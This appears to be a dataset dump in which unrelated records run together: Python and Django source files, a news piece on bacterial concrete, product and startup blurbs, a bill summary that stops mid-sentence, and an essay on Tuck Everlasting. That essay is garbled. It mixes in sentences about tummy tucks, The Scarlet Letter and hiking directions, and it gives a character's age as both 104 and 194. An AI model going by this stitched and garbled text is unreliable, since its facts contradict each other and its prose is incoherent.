text
stringlengths
29
850k
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2017-01-02 01:36 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('Product_manage', '0001_initial'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('Inquiry_manage', '0001_initial'), ] operations = [ migrations.AddField( model_name='quotation', name='product', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='quotation', to='Product_manage.Product'), ), migrations.AddField( model_name='inquiry_item', name='created_by', field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='inquiry_manage_inquiry_item_created', to=settings.AUTH_USER_MODEL, verbose_name='\u521b\u5efa\u4eba'), ), migrations.AddField( model_name='inquiry_item', name='handler', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='handle_inquiries', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='inquiry_item', name='inquiry', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='Inquiry_manage.Inquiry'), ), migrations.AddField( model_name='inquiry_item', name='modified_by', field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='inquiry_manage_inquiry_item_modified', to=settings.AUTH_USER_MODEL, verbose_name='\u4fee\u6539\u4eba'), ), migrations.AddField( model_name='inquiry', name='created_by', field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='inquiry_manage_inquiry_created', to=settings.AUTH_USER_MODEL, verbose_name='\u521b\u5efa\u4eba'), ), migrations.AddField( model_name='inquiry', name='modified_by', field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='inquiry_manage_inquiry_modified', to=settings.AUTH_USER_MODEL, verbose_name='\u4fee\u6539\u4eba'), ), migrations.AddField( model_name='inquiry', name='sales', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='inquiries', to=settings.AUTH_USER_MODEL), ), ]
- We want to use bacteria to produce concrete, says Anja Røyne at the Department of Physics at the University of Oslo, lead researcher for BioZEment2.0. - The first results were not great, and I wouldn’t build a house with the very first concrete from the lab. But our results show that the process can work, comments Røyne. Funding from The Norwegian Research Council through Digital Life will allow the researchers to understand and shape the living production facility. A first step is to work with digital bacteria to understand the chemistry and physics behind their capabilities. - We are currently developing two computer models. One is to test how bacteria, nutrients, water, and sand grains behave at a small scale. A second model explores the genetic and metabolic processes inside the bacteria, says Røyne. - We needed bacteria that would be able to live in high pH environment, so I went on an expedition close to a limestone quarry to collect samples. In the soil samples we found bacteria that can take part in the bio-concrete production, explains Wentzel. Wentzel and his team will use the data from the marine bacteria to discover novel antibiotics, a Digital Life Norway (DLN)-project called INBioPharm. By mapping candidate gene clusters with digital tools, and then testing the potential genes in host bacteria in the lab, Wentzel hopes to make discoveries that are relevant for the pharmaceutical industry. - We also develop bioinformatics tools that will be valuable for other projects, he comments. - We aim to combine digital models with laboratory work to understand how specialized bacterial enzymes work together to degrade plant material, says Eijsink. In his DLN-project OXYMOD, the aim is to discover and develop enzymes that can turn otherwise wasted biomass into useful products. The OXYMOD and INBioPharm projects both rely on data from the marine bacteria collected by Wentzel and his team, but the detailed algorithms and secondary databases that help identify candidate genes or enzymes are different. - We aim to recycle or refine plant material from forestry or food production into usable products. Enzymes can do the job for us, and the bacteria teach us how to optimize our processes, says Eijsink. - Bacteria will extract palladium or gold from their environment and reduce the metals to nanoparticles, explains Dirk Linke at the Department of Biosciences at UiO. The tiny particles produced by bacteria often show interesting catalytic capabilities. The goal of Linke’s DLN partner project NANOP is to modify and fine-tune the bacteria so that they produce novel and potentially useful nanoparticles. - There may be new and interesting properties to nanoparticles when you can fine-tune size and composition, and combine different metals to get nanoparticles with specific purposes, he says. - Systems biology integrates experimental data and computer models to extract more and better data from the research projects, says Almaas.
# Copyright (C) 2010-2011 Richard Lincoln # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. from CIM14.ENTSOE.Dynamics.IEC61970.Core.CorePowerSystemResource import CorePowerSystemResource class ExcitationSystemsExcST4B(CorePowerSystemResource): def __init__(self, kp=0.0, xl=0.0, vbmax=0.0, ki=0.0, kir=0.0, vrmin=0.0, vmmin=0.0, kim=0.0, ta=0.0, kg=0.0, tr=0.0, kc=0.0, vrmax=0.0, angp=0.0, kpr=0.0, vgmax=0.0, kpm=0.0, vmmax=0.0, *args, **kw_args): """Initialises a new 'ExcitationSystemsExcST4B' instance. @param kp: @param xl: @param vbmax: @param ki: @param kir: @param vrmin: @param vmmin: @param kim: @param ta: @param kg: @param tr: @param kc: @param vrmax: @param angp: @param kpr: @param vgmax: @param kpm: @param vmmax: """ self.kp = kp self.xl = xl self.vbmax = vbmax self.ki = ki self.kir = kir self.vrmin = vrmin self.vmmin = vmmin self.kim = kim self.ta = ta self.kg = kg self.tr = tr self.kc = kc self.vrmax = vrmax self.angp = angp self.kpr = kpr self.vgmax = vgmax self.kpm = kpm self.vmmax = vmmax super(ExcitationSystemsExcST4B, self).__init__(*args, **kw_args) _attrs = ["kp", "xl", "vbmax", "ki", "kir", "vrmin", "vmmin", "kim", "ta", "kg", "tr", "kc", "vrmax", "angp", "kpr", "vgmax", "kpm", "vmmax"] _attr_types = {"kp": float, "xl": float, "vbmax": float, "ki": float, "kir": float, "vrmin": float, "vmmin": float, "kim": float, "ta": float, "kg": float, "tr": float, "kc": float, "vrmax": float, "angp": float, "kpr": float, "vgmax": float, "kpm": float, "vmmax": float} _defaults = {"kp": 0.0, "xl": 0.0, "vbmax": 0.0, "ki": 0.0, "kir": 0.0, "vrmin": 0.0, "vmmin": 0.0, "kim": 0.0, "ta": 0.0, "kg": 0.0, "tr": 0.0, "kc": 0.0, "vrmax": 0.0, "angp": 0.0, "kpr": 0.0, "vgmax": 0.0, "kpm": 0.0, "vmmax": 0.0} _enums = {} _refs = [] _many_refs = []
The Toad Reappears Just then, Mae sees a toad sitting in the middle of the road and tells Tuck to watch out for it. But, then again he is also quit careless or open like a book and fesses-up. Write a diary that Winnie might have kept for three days around before, on, after the day that an important incident in the book occurred. Then Mae gets thrown in jail and instead of having Miles take off the window in the night and Winnie pose as Mae until the morning, Liebel has Jesse and Miles distract the jailer in a dramatic thunderstorm with swords and capes! Foster in Tuck Everlasting 2002. The ending to this novel ties the two symbols of the music box and the toad together. He says that a child would be a better example, and there is nothing they can do to stop him. Jesse tuck now 194 years old, went in search to find his beloved Winnie Foster. Both explore the exciting possibility of never facing death, the harsh reality of a never ending life and the greed that it can bring. She didn't drink from the spring, she didn't become immortal, and she didn't join the Tucks. The story was translated to film by Jeffrey Lieber and he killed it you know, in a good way. She let us in on a summer with the Tucks and Winnie. Sometimes when I close my eyes at night I can see him falling out of that tree all scary and not-able-to-die-y. In both the movie and the book Jesse says he is 104 years old. Upon reading both the novel The Scarlet Letter by Nathaniel Hawthorne and viewing the film produced by Roland Joffe, one notices the tremendous effort put into both. Close to being exposed, the Tucks leave town on the advice of Constable Joe. The movie version of the story was directed by Jay Russell and portrayed by Jonathan Jackson, Victor Garber, William Hurt, Alexis Bledel and Sissy Spacek. You can read Tuck Everlasting by Natalie Babbitt. He attempts to shoot them but is scared off when they turn out to be impervious. They tell her that living forever is more painful than it sounds and believe that giving away the secret of the spring will lead to everyone wanting to drink from it. Reasons People in Miami who Choose to Have a Tummy Tuck The abdomen is a troublesome area for many people. The Tucks, a kind and generous family, have a powerful secret — a spring that holds the magic of everlasting life. Little do they know that the middle-of-the-road toad they save could have joined them on their journey. You can watch Tuck Everlasting. He goes there and begins looking for Winnie's grave. First, this blog has totally been a literary blog lately and for that I apologize. The Legend of Sleepy Hollow? Tuck Everlasting- Compare and Contrast Essay Is living forever the greatest gift of the ultimate curse? A man in the yellow suit was doing a little research on 1630 Words 7 Pages Do not judge a book by its cover. Beforehand, she gives it consideration, and she decides not to and pours it onto a toad, as she thinks that if she changes her mind she can go back to the spring. It was only a question of when. Miles approaches and tells them that Jesse has gone without saying goodbye, and Winnie says they can find him at the spring in Treegap Wood. Based on a well-known legend, this story tells the tale of the disappearance of the main character, Ichabod Crane. Winnie's parents come to get her and are shamed by the town. In the film, she was rescued from jail when Jesse and Miles stage an attack on Winnie Archcraft 1 to divert the attention of the sheriff to them but in the book, such scene did not happened. The ending starts by Miles telling their story. This Character does not appear. Since Mae cannot die, the hanging will expose the secret. She ultimately decides to live out her mortal life and pours the water on a toad instead. Which is not enough for a century. Winnie takes her place in the cell to give the Tuck family time to run away. Her parents tell her that she is going to be sent to a boarding school and she runs away because she doesn't want to go. The stone reads that Winnie became a wife and mother before passing away at 100 years of age. On the way, they pass a gas station where the workers comment on their being simple country folk and laugh at them. Mary's Road then right onto Falling Branch Road and proceed to parking area on the right. Before he does, he tells the Tucks that if they will not be his examples then she will. A look at the similarities and differences will reveal that the theme, along with the general story line, was one of the few things that remain the same in the translation from book to movie. She becomes enamored of their slow and simple way of life and falls in love with Jesse. The scenes that I have chosen are very important role in supporting to these themes. Decisions for school, life, your family, etc. The wooded area is gone, as well as their spring, and the town has become a typical suburban metropolis. He proposes she drink the water right then so that they can travel the world together.
"""GeoJSON of a given IEM network code""" import json import datetime import psycopg2.extras import memcache from paste.request import parse_formvars from pyiem.util import get_dbconn, html_escape def run(network, only_online): """Generate a GeoJSON dump of the provided network""" pgconn = get_dbconn("mesosite") cursor = pgconn.cursor(cursor_factory=psycopg2.extras.DictCursor) # One off special if network == "ASOS1MIN": cursor.execute( "SELECT ST_asGeoJson(geom, 4) as geojson, t.* " "from stations t JOIN station_attributes a " "ON (t.iemid = a.iemid) WHERE t.network ~* 'ASOS' and " "a.attr = 'HAS1MIN' ORDER by id ASC", ) else: online = "and online" if only_online else "" cursor.execute( "SELECT ST_asGeoJson(geom, 4) as geojson, * from stations " f"WHERE network = %s {online} ORDER by name ASC", (network,), ) res = { "type": "FeatureCollection", "features": [], "generation_time": datetime.datetime.utcnow().strftime( "%Y-%m-%dT%H:%M:%SZ" ), "count": cursor.rowcount, } for row in cursor: ab = row["archive_begin"] ae = row["archive_end"] time_domain = "(%s-%s)" % ( "????" if ab is None else ab.year, "Now" if ae is None else ae.year, ) res["features"].append( dict( type="Feature", id=row["id"], properties=dict( elevation=row["elevation"], sname=row["name"], time_domain=time_domain, state=row["state"], country=row["country"], climate_site=row["climate_site"], wfo=row["wfo"], tzname=row["tzname"], ncdc81=row["ncdc81"], ncei91=row["ncei91"], ugc_county=row["ugc_county"], ugc_zone=row["ugc_zone"], county=row["county"], sid=row["id"], ), geometry=json.loads(row["geojson"]), ) ) return json.dumps(res) def application(environ, start_response): """Main Workflow""" headers = [("Content-type", "application/vnd.geo+json")] form = parse_formvars(environ) cb = form.get("callback", None) network = form.get("network", "KCCI") only_online = form.get("only_online", "0") == "1" mckey = "/geojson/network/%s.geojson|%s" % (network, only_online) mc = memcache.Client(["iem-memcached:11211"], debug=0) res = mc.get(mckey) if not res: res = run(network, only_online) mc.set(mckey, res, 3600) if cb is None: data = res else: data = "%s(%s)" % (html_escape(cb), res) start_response("200 OK", headers) return [data.encode("ascii")]
Explore another galaxy with this whimsical space design. Fun colors of blue, orange, yellow, and green make this space exploration come alive. The design is full of little green martians, blue and orange rockets, blue, yellow, and orange spaceships, yellow and blue planets, and yellow stars galore. A blue and white band is placed in the middle of the design and used to showcase your little space traveler and his martian buddy. Add your own personalization for that special touch.
# MIT License # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copycopy, # modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # Program written by Charles Cave (charlesweb@optusnet.com.au) # February - March 2009 # Version 2 - June 2009 # Added support for all tags, TODO priority and checking existence of a tag # More information at # http://members.optusnet.com.au/~charles57/GTD # Jule 2017, by Roman.Dmnk # Added 'maketree' function. """ The Orgnode module consists of the Orgnode class for representing a headline and associated text from an org-mode file, and routines for constructing data structures of these classes. """ import re, sys, os.path import datetime import json def toJSON(nodelist): return json.dumps(nodelist, default=lambda o: o.isoformat() if isinstance (o, datetime.date) else o.__dict__, sort_keys=True, indent=4) def maketree(filename, filecontent): """ Read an org-mode file and return a tree of Orgnode objects created from this file. """ ctr = 0 #try: # f = open(filename, 'r') #except IOError: # print "Unable to open file [%s] " % filename # print "Program terminating." # sys.exit(1) todos = dict() # populated from #+SEQ_TODO line todos['TODO'] = '' # default values todos['DONE'] = '' # default values level = 0 heading = "" bodytext = "" tag1 = "" # The first tag enclosed in :: alltags = [] # list of all tags in headline sched_date = '' deadline_date = '' nodetree = [] propdict = dict() parent = None lsib = None parent_list = [0,] # consists of (parent node_ctr) node_ctr = 1 filebase = os.path.splitext(os.path.basename(filename))[0] thisNode = Orgnode('', filebase, "", "", "", None, None) nodetree.append(thisNode) lines = filecontent.split('\n') for line in lines: ctr += 1 hdng = re.search('^(\*+)\s(.*?)\s*$', line) if hdng: if heading: # we are processing a heading line thisNode = Orgnode(level, heading, bodytext, tag1, alltags, parent, lsib) if sched_date: thisNode.setScheduled(sched_date) sched_date = "" if deadline_date: thisNode.setDeadline(deadline_date) deadline_date = '' thisNode.setProperties(propdict) nodetree.append( thisNode ) propdict = dict() level = hdng.group(1) try: lsib = parent_list[len(level)] nodetree[parent_list[len(level)]].rsib = node_ctr except IndexError: lsib = None pass parent_list = parent_list[:len(level)] parent_list.append(node_ctr) if len(parent_list) > 1: parent = parent_list[-2] nodetree[parent_list[-2]].childs.append(node_ctr) else: parent = None heading = hdng.group(2) bodytext = "" tag1 = "" alltags = [] # list of all tags in headline tagsrch = re.search('(.*?)\s*:(.*?):(.*?)$',heading) if tagsrch: heading = tagsrch.group(1) tag1 = tagsrch.group(2) alltags.append(tag1) tag2 = tagsrch.group(3) if tag2: for t in tag2.split(':'): if t != '': alltags.append(t) node_ctr = node_ctr + 1; else: # we are processing a non-heading line if line[:10] == '#+SEQ_TODO': kwlist = re.findall('([A-Z]+)\(', line) for kw in kwlist: todos[kw] = "" if line[:1] != '#': bodytext = bodytext + line if re.search(':PROPERTIES:', line): continue if re.search(':END:', line): continue prop_srch = re.search('^\s*:(.*?):\s*(.*?)\s*$', line) if prop_srch: propdict[prop_srch.group(1)] = prop_srch.group(2) continue sd_re = re.search('SCHEDULED:\s+<([0-9]+)\-([0-9]+)\-([0-9]+)', line) if sd_re: sched_date = datetime.date(int(sd_re.group(1)), int(sd_re.group(2)), int(sd_re.group(3)) ) dd_re = re.search('DEADLINE:\s*<(\d+)\-(\d+)\-(\d+)', line) if dd_re: deadline_date = datetime.date(int(dd_re.group(1)), int(dd_re.group(2)), int(dd_re.group(3)) ) # write out last node thisNode = Orgnode(level, heading, bodytext, tag1, alltags, parent, lsib) thisNode.setProperties(propdict) if sched_date: thisNode.setScheduled(sched_date) if deadline_date: thisNode.setDeadline(deadline_date) nodetree.append( thisNode ) # using the list of TODO keywords found in the file # process the headings searching for TODO keywords for n in nodetree: h = n.Heading() todoSrch = re.search('([A-Z]+)\s(.*?)$', h) if todoSrch: if todos.has_key( todoSrch.group(1) ): n.setHeading( todoSrch.group(2) ) n.setTodo ( todoSrch.group(1) ) prtysrch = re.search('^\[\#(A|B|C)\] (.*?)$', n.Heading()) if prtysrch: n.setPriority(prtysrch.group(1)) n.setHeading(prtysrch.group(2)) return nodetree def makelist(filename): """ Read an org-mode file and return a list of Orgnode objects created from this file. """ ctr = 0 try: f = open(filename, 'r') except IOError: print "Unable to open file [%s] " % filename print "Program terminating." sys.exit(1) todos = dict() # populated from #+SEQ_TODO line todos['TODO'] = '' # default values todos['DONE'] = '' # default values level = 0 heading = "" bodytext = "" tag1 = "" # The first tag enclosed in :: alltags = [] # list of all tags in headline sched_date = '' deadline_date = '' nodelist = [] propdict = dict() for line in f: ctr += 1 hdng = re.search('^(\*+)\s(.*?)\s*$', line) if hdng: if heading: # we are processing a heading line thisNode = Orgnode(level, heading, bodytext, tag1, alltags) if sched_date: thisNode.setScheduled(sched_date) sched_date = "" if deadline_date: thisNode.setDeadline(deadline_date) deadline_date = '' thisNode.setProperties(propdict) nodelist.append( thisNode ) propdict = dict() level = hdng.group(1) heading = hdng.group(2) bodytext = "" tag1 = "" alltags = [] # list of all tags in headline tagsrch = re.search('(.*?)\s*:(.*?):(.*?)$',heading) if tagsrch: heading = tagsrch.group(1) tag1 = tagsrch.group(2) alltags.append(tag1) tag2 = tagsrch.group(3) if tag2: for t in tag2.split(':'): if t != '': alltags.append(t) else: # we are processing a non-heading line if line[:10] == '#+SEQ_TODO': kwlist = re.findall('([A-Z]+)\(', line) for kw in kwlist: todos[kw] = "" if line[:1] != '#': bodytext = bodytext + line if re.search(':PROPERTIES:', line): continue if re.search(':END:', line): continue prop_srch = re.search('^\s*:(.*?):\s*(.*?)\s*$', line) if prop_srch: propdict[prop_srch.group(1)] = prop_srch.group(2) continue sd_re = re.search('SCHEDULED:\s+<([0-9]+)\-([0-9]+)\-([0-9]+)', line) if sd_re: sched_date = datetime.date(int(sd_re.group(1)), int(sd_re.group(2)), int(sd_re.group(3)) ) dd_re = re.search('DEADLINE:\s*<(\d+)\-(\d+)\-(\d+)', line) if dd_re: deadline_date = datetime.date(int(dd_re.group(1)), int(dd_re.group(2)), int(dd_re.group(3)) ) # write out last node thisNode = Orgnode(level, heading, bodytext, tag1, alltags) thisNode.setProperties(propdict) if sched_date: thisNode.setScheduled(sched_date) if deadline_date: thisNode.setDeadline(deadline_date) nodelist.append( thisNode ) # using the list of TODO keywords found in the file # process the headings searching for TODO keywords for n in nodelist: h = n.Heading() todoSrch = re.search('([A-Z]+)\s(.*?)$', h) if todoSrch: if todos.has_key( todoSrch.group(1) ): n.setHeading( todoSrch.group(2) ) n.setTodo ( todoSrch.group(1) ) prtysrch = re.search('^\[\#(A|B|C)\] (.*?)$', n.Heading()) if prtysrch: n.setPriority(prtysrch.group(1)) n.setHeading(prtysrch.group(2)) return nodelist ###################### class Orgnode(object): """ Orgnode class represents a headline, tags and text associated with the headline. """ def __init__(self, level, headline, body, tag, alltags, parent=None, lsib=None): """ Create an Orgnode object given the parameters of level (as the raw asterisks), headline text (including the TODO tag), and first tag. The makelist routine postprocesses the list to identify TODO tags and updates headline and todo fields. """ self.level = len(level) self.headline = headline self.body = body self.tag = tag # The first tag in the list self.tags = dict() # All tags in the headline self.todo = "" self.prty = "" # empty of A, B or C self.scheduled = "" # Scheduled date self.deadline = "" # Deadline date self.properties = dict() for t in alltags: self.tags[t] = '' self.childs = [] self.parent = parent self.lsib = lsib self.rsib = None # Look for priority in headline and transfer to prty field def Heading(self): """ Return the Heading text of the node without the TODO tag """ return self.headline def setHeading(self, newhdng): """ Change the heading to the supplied string """ self.headline = newhdng def Body(self): """ Returns all lines of text of the body of this node except the Property Drawer """ return self.body def Level(self): """ Returns an integer corresponding to the level of the node. Top level (one asterisk) has a level of 1. """ return self.level def Priority(self): """ Returns the priority of this headline: 'A', 'B', 'C' or empty string if priority has not been set. """ return self.prty def setPriority(self, newprty): """ Change the value of the priority of this headline. Values values are '', 'A', 'B', 'C' """ self.prty = newprty def Tag(self): """ Returns the value of the first tag. For example, :HOME:COMPUTER: would return HOME """ return self.tag def Tags(self): """ Returns a list of all tags For example, :HOME:COMPUTER: would return ['HOME', 'COMPUTER'] """ return self.tags.keys() def hasTag(self, srch): """ Returns True if the supplied tag is present in this headline For example, hasTag('COMPUTER') on headling containing :HOME:COMPUTER: would return True. """ return self.tags.has_key(srch) def setTag(self, newtag): """ Change the value of the first tag to the supplied string """ self.tag = newtag def setTags(self, taglist): """ Store all the tags found in the headline. The first tag will also be stored as if the setTag method was called. """ for t in taglist: self.tags[t] = '' def Todo(self): """ Return the value of the TODO tag """ return self.todo def setTodo(self, value): """ Set the value of the TODO tag to the supplied string """ self.todo = value def setProperties(self, dictval): """ Sets all properties using the supplied dictionary of name/value pairs """ self.properties = dictval def Property(self, keyval): """ Returns the value of the requested property or null if the property does not exist. """ return self.properties.get(keyval, "") def setScheduled(self, dateval): """ Set the scheduled date using the supplied date object """ self.scheduled = dateval def Scheduled(self): """ Return the scheduled date object or null if nonexistent """ return self.scheduled def setDeadline(self, dateval): """ Set the deadline (due) date using the supplied date object """ self.deadline = dateval def Deadline(self): """ Return the deadline date object or null if nonexistent """ return self.deadline def __repr__(self): # """ Print the level, heading text and tag of a node and the body text as used to construct the node. """ # This method is not completed yet. n = '' for i in range(0, self.level): n = n + '*' n = n + ' ' + self.todo + ' ' if self.prty: n = n + '[#' + self.prty + '] ' n = n + self.headline n = "%-60s " % n # hack - tags will start in column 62 closecolon = '' for t in self.tags.keys(): n = n + ':' + t closecolon = ':' n = n + closecolon # Need to output Scheduled Date, Deadline Date, property tags The # following will output the text used to construct the object n = n + "\n" + self.body return n def jointrees (name, args): parent_list = [0, ] nodetree = list() node_ctr = 1 thisNode = Orgnode('', name, "", "", "", None, None) nodetree.append(thisNode) for nt in args: # for item #0 nt[0].level = nt[0].level + 1 try: nt[0].lsib = parent_list[nt[0].level] nodetree[parent_list[nt[0].level]].rsib = node_ctr except IndexError: lsib = None pass parent_list = parent_list[:nt[0].level] parent_list.append(node_ctr) if len(parent_list) > 1: nt[0].parent = parent_list[-2] nodetree[parent_list[-2]].childs.append(node_ctr) else: parent = None nodetree.append(nt[0]) # for other items for item in nt[1:]: item.level = item.level + 1 if item.parent: item.parent = node_ctr + item.parent if item.lsib: item.slib = node_ctr + item.lsib if item.rsib: item.rsib = node_ctr + item.rsib nodetree.append(item) node_ctr = node_ctr + len(nt); return nodetree
Believe it or not, a significant portion of young startups think that they can continue growing without insurance & that they do not need to buy insurance policies until they have scaled significantly. Many perceive insurance as a luxury, not a necessity. The ‘Go SME Grow’ programme will offer innovators and entrepreneurs from across New Zealand, Australia & Asia-Pacific the opportunity to share their ideas, solve real business problems & refine solutions with the tools, support & funding of a large organisation like BNZ. ‘Swit’ teams can work from a seamlessly integrated suite that allows for all processes to be handled in one convenient space. Helps create media reports automatically. ‘Startup Cemetery’ explains why some startups died. Since 2015, ‘Innmind’ has been acting as a comprehensive tool for 10000+ startups, 400+ investors & 800+ service providers.
import json from urlobject import URLObject from boto import connect_cloudfront from . import settings from . import paths CACHE_FILE=paths.CACHE/'cdn.json' def get_cache(force_rebuild=False): if not settings.AWS_ACCESS_KEY_ID: return {} if force_rebuild or not hasattr(get_cache, 'cache'): if force_rebuild or not CACHE_FILE.exists(): CACHE_FILE.dirname().makedirs_p() connection = connect_cloudfront(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY) distributions = connection.get_all_distributions() cache = {distribution.origin.dns_name: distribution.domain_name for distribution in distributions} with open(CACHE_FILE, 'w') as handle: json.dump(cache, handle) else: with open(CACHE_FILE) as handle: cache = json.load(handle) get_cache.cache = cache return get_cache.cache def proxied(url): url = URLObject(url) netloc = url.netloc or settings.SERVER_NAME cache = get_cache() if netloc not in cache: return url return url.with_netloc(cache[netloc])
An original bill making appropriations for the legislative branch for the fiscal year ending September 30, 2010, and for other purposes. Legislative Branch Appropriations Act, 2010 - Title I: Legislative Branch Appropriations - Makes appropriations to the Senate for FY2010 for: (1) expense allowances; (2) representation allowances for the Majority and Minority Leaders; (3) salaries of specified officers, employees, and committees (including the Committee on Appropriations); (4) agency contributions for employee benefits; (5) inquiries and investigations; (6) the U.S. Senate Caucus on International Narcotics Control; (7) the Offices of the Secretary and of the Sergeant at Arms and Doorkeeper of the Senate; (8) miscellaneous items; (9) the Senators' Official Personnel and Office Expense Account; and (10) official mail costs. (Sec. 1) Amends the Legislative Branch Appropriation Act, 1968 to increase by $50,000 the aggregate gross compensation paid all employees in the office of a Senator, according to a specified table. Makes appropriations for salaries and/or expenses of: (1) the Joint Economic and Taxation Committees; (2) the Office of the Attending Physician; (3) the Office of Congressional Accessibility Services; (4) the Capitol Police; (5) the Office of Compliance; (6) the Congressional Budget Office (CBO); and (7) the Architect of the Capitol (AOC), including for the care and operation of Capitol buildings and grounds, Senate office buildings, the Capitol Power Plant, the Library of Congress buildings and grounds, the Capitol Police buildings, grounds, and security, the Botanic Garden, and the Capitol Visitor Center. (Sec. 1001) Authorizes the transfer between "Salaries" and "General Expenses," upon the approval of the congressional appropriations committees, of FY2010 amounts appropriated for the Capitol Police. (Sec. 1101) Amends the Congressional Accountability Act of 1995 to authorize the Executive Director of the Office of Compliance, within the limits of available appropriations, to dispose of surplus or obsolete personal property by interagency transfer, donation, or discarding. (Sec. 1201) Amends the Legislative Branch Appropriations Act, 2008 to increase from three to five the maximum number of participants in the executive exchange program between CBO officers and employees and private sector organizations employees for one-year assignments. Repeals the termination of such Act (thus making the program permanent). (Sec. 1301) Grants the AOC authority, within the limits of available appropriations, to dispose of surplus or obsolete personal property by interagency transfer, donation, sale, trade-in, or discarding. Requires amounts received for the sale or trade-in of personal property to be credited to funds available for AOC operations and be available for the costs of acquiring the same or similar property. (Sec. 1302) Redefines "agency" to include the AOC and the Botanic Garden with respect to federal flexible and compressed work schedules (thus authorizing such schedules for AOC and Botanic Garden employees). Declares that the same authority granted to the Office of Personnel and Management (OPM) to prescribe regulations, provide technical assistance, and to review programs regarding such work schedules shall be exercised by the AOC with respect to such employees. (Sec. 1303) Redefines "agency" to include and authorize the AOC and the Botanic Garden to make noncompetitive appointments leading to conversion to career or career-conditional employment to disabled veterans with compensable service-connected disabilities of 30% or more. Declares that the same authority granted to OPM to prescribe regulations governing such appointments shall be exercised by the AOC. (Sec. 1304) Authorizes the AOC to accept voluntary student services and to regulate them (instead of OPM, as under current law). Declares that the same authority granted to OPM to prescribe regulations governing such appointments shall be exercised by the AOC. (Sec. 1305) Amends the Legislative Branch Appropriations Act, 1989 to authorize the AOC to enter into a commission-based service contract with a vendor who may sell refreshments at the Botanic Garden and National Garden. Requires any amount paid to the AOC as a commission to be: (1) deposited in such renamed account; and (2) available for operations and maintenance in the same manner as provided under current law. Appropriates FY2010 funds for: (1) the Library of Congress for salaries and expenses, the Copyright Office, Congressional Research Service (CRS), and Books for the Blind and Physically Handicapped; (2) the Government Printing Office (GPO) for congressional printing and binding (including transfer of funds); (3) GPO for the Office of Superintendent of Documents (including transfer of funds); (4) the GPO Revolving Fund; (5) the Government Accountability Office (GAO) for salaries and expenses; (6) the Open World Leadership Center Trust Fund; and (7) the John C. Stennis Center for Public Service Development Trust Fund. (Sec. 1401) Establishes an upper limit of $123.328 million for the FY2010 obligational authority of the Library of Congress with regard to certain reimbursable and revolving fund activities. Authorizes the Librarian of Congress to transfer temporarily up to $1.9 million of funds appropriated in this Act for Library of Congress salaries and expenses to the revolving fund for the FEDLINK Program and the Federal Research Program. (Sec. 1402) Authorizes the transfer of FY2010 Library of Congress appropriations, during such fiscal year, between any "Library of Congress" headings, upon the approval of the congressional appropriations committees. Limits such transfers to 10% of the total amount of funds appropriated to the account under any such heading for FY2010. (Sec. 1403) Authorizes the Librarian of Congress to classify positions in the Library of Congress above GS-15 pursuant to OPM standards. (Sec. 1404) Provides for a carryover of up to 90 days of accrued annual leave for Library of Congress positions whose compensation is set at a rate equal to the annual rate of basic pay for positions at level III of the Executive Schedule. (Sec. 1501) Repeals the requirement for certain GAO audits, studies, or reviews of: (1) the use of funds in projects constructed under projected cost under the Public Works and Economic Development Act of 1965; (2) the National Transportation Safety Board (NTSB); (3) spending by local educational agencies (LEAs) under the Elementary and Secondary Education Act of 1965; (4) small business participation in construction of the Alaska natural gas pipeline under the Alaska Natural Gas Pipeline Act; (5) assistance under Compacts of Free Association pursuant to the Compact of Free Association Amendments Act of 2003; (6) Independent Counsel expenditures (semiannually) under the Department of Justice Appropriations Act of 1988; and (7) ambulance service costs under the Medicare Prescription Drug, Improvement, and Modernization Act of 2003. (Sec. 1601) Amends the Legislative Branch Appropriations Act, 2001 to make a technical correction to the composition of the Board of Trustees of the Open World Leadership Center to include two Members of the House of Representatives and two Senators. (Under current law, it states two members appointed by the Speaker of the House of Representatives and two members appointed by the President pro tempore of the Senate but does not specify whether they are congressional members or not.) Requires the Executive Director of the 